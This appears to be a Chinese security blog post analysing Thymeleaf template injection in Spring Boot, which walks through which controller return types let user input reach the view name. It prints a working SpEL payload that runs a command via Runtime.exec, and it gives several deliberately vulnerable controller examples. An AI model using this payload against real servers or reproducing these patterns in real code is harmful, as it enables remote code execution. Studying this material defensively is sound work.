前言 今天在 paper.seebug.org 上面看到的文章 ,以前没关注过这个点,现在看一看。
模板注入 写一个简单的 SprintBoot 程序,记得要加上 Thymeleaf 的依赖:
1 2 3 4 5 6 7 @Controller public class MainController { @GetMapping("/") public String index (@RequestParam(value = "page") String page) { return page; } }
然后调试跟一下,SpringBoot 通过反射调用控制器函数构造一个 ModelAndView 对象,然后经过 processDispatchResult、render、view.render 的调用,来到 renderFragment:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (!viewTemplateName.contains("::" )) { templateName = viewTemplateName; markupSelectors = null ; } else { final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration); final FragmentExpression fragmentExpression; try { fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}" ); } catch (final TemplateProcessingException e) { throw new IllegalArgumentException ("Invalid template name specification: '" + viewTemplateName + "'" ); }
如果返回值中包含 :: 字符,就代表这个模板名是一个引用,会对模板名进行一次表达式解析,payload 类似 Spel 表达式:
1 ${T (java.lang .Runtime).getRuntime ().exec ("calc" )}::index
表达式语法可以看这里 ,简单来说就是用变量表达式在代码表达式中执行 Spel 表达式。
除了这种返回类型为 String 的写法,按照参考文章,还有其他写法,比如 void:
1 2 3 4 @GetMapping("/doc/{document}") public void getDocument (@PathVariable String document) { log.info("Retrieving " + document); }
阅读文档 ,可以得知此时会将请求 URI 作为模块名,所以也可以进行表达式注入。
至于其他返回类型,View 或许也是可以的,不过就太罕见了。
其他返回类型的情况 @ResponseBody 使用方式看这里 ,在加上了这个注解的情况下,SpringBoot 会将返回值处理成 JSON 而不会将其当作模板。
比如返回一个 Map:
1 2 3 4 5 6 7 8 9 10 11 @Controller @SuppressWarnings({"rawtypes", "unchecked"}) public class MainController { @GetMapping("/") @ResponseBody public Map index (@RequestParam(value = "page") String page) { Map map = new HashMap (); map.put("page" , page); return map; } }
可以看到返回的类型为 application/json。
HttpEntity<B>,
ResponseEntity<B> 光看名字完全看不懂的,文档 上说 ResponseEntity 和 @ResponseBody 类似,不过还可以设置 HTTP 状态码和头:
1 2 3 4 5 6 @GetMapping("/") public ResponseEntity<String> index (@RequestParam(value = "page") String page) { String body = "Just a test." ; String name = "Twings" ; return ResponseEntity.ok().header("name" , name).body(body); }
HttpEntity 跟 ResponseEntity 相似,可以设置头:
1 2 3 4 5 6 @RequestMapping("/") public HttpEntity index (HttpEntity<String> requestEntity) { HttpHeaders headers = new HttpHeaders (); headers.add("name" , "Twings" ); return new HttpEntity (requestEntity.getBody(), headers); }
两种返回类型同样都不会涉及模板操作。
只返回头,没有响应体:
1 2 3 4 5 6 @RequestMapping("/") public HttpHeaders index () { HttpHeaders headers = new HttpHeaders (); headers.add("name" , "Twings" ); return headers; }
View 理论上可以返回一个 ThymeleafView 从而实现模板注入,但是要给这个 ThymeleafView 设置好 ApplicationContext、Locate 等数据,而 locate 的 setter 是 protected,所以写起来会很奇怪:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class MainController { @Autowired ApplicationContext context; @RequestMapping("/") public View index () throws Exception { ContentNegotiationManager contentNegotiationManager = new ContentNegotiationManager (); SpringTemplateEngine springTemplateEngine = new SpringTemplateEngine (); ThymeleafViewResolver thymeleafViewResolver = new ThymeleafViewResolver (); thymeleafViewResolver.setApplicationContext(context); thymeleafViewResolver.setTemplateEngine(springTemplateEngine); ContentNegotiatingViewResolver contentNegotiatingViewResolver = new ContentNegotiatingViewResolver (); contentNegotiatingViewResolver.setContentNegotiationManager(contentNegotiationManager); List<ViewResolver> list = new ArrayList <>(); list.add(thymeleafViewResolver); contentNegotiatingViewResolver.setViewResolvers(list); String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x" ; ThymeleafView view = (ThymeleafView) contentNegotiatingViewResolver.resolveViewName("index" , new Locale ("zh_cn" )); if (view != null ) { view.setTemplateName(exp); } return view; } }
太怪异了。
Map、Model 无法利用,因为这两种返回类型的数据会放入 model 中,而构造出来的 view 与 model 无关,他们无法影响模板名。
模板名从 request 中构造。
@ModelAttribute 同上。
ModelAndView 可以:
1 2 3 4 5 6 7 @RequestMapping("/") public ModelAndView index () { ModelAndView modelAndView = new ModelAndView (); String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x" ; modelAndView.setViewName(exp); return modelAndView; }
DeferredResult、Callable、ListenableFuture、CompletionStage、CompletableFuture 用于异步操作,类似:
1 2 3 4 5 6 7 8 9 10 11 12 @RequestMapping("/") public DeferredResult<String> quotes () { DeferredResult<String> deferredResult = new DeferredResult <String>(); deferredResult.onTimeout(new Runnable () { @Override public void run () { String exp = "${T(java.lang.Runtime).getRuntime().exec(\"calc\")}::x" ; deferredResult.setResult(exp); } }); return deferredResult; }
ResponseBodyEmitter、SseEmitter、StreamingResponseBody 看起来是直接写入响应体的,无法使用。
ReactiveAdapterRegistry 跟 DeferredResult,似乎是写入相应流的,无法使用。
other return value 似乎是影响 model,无法使用。
Orz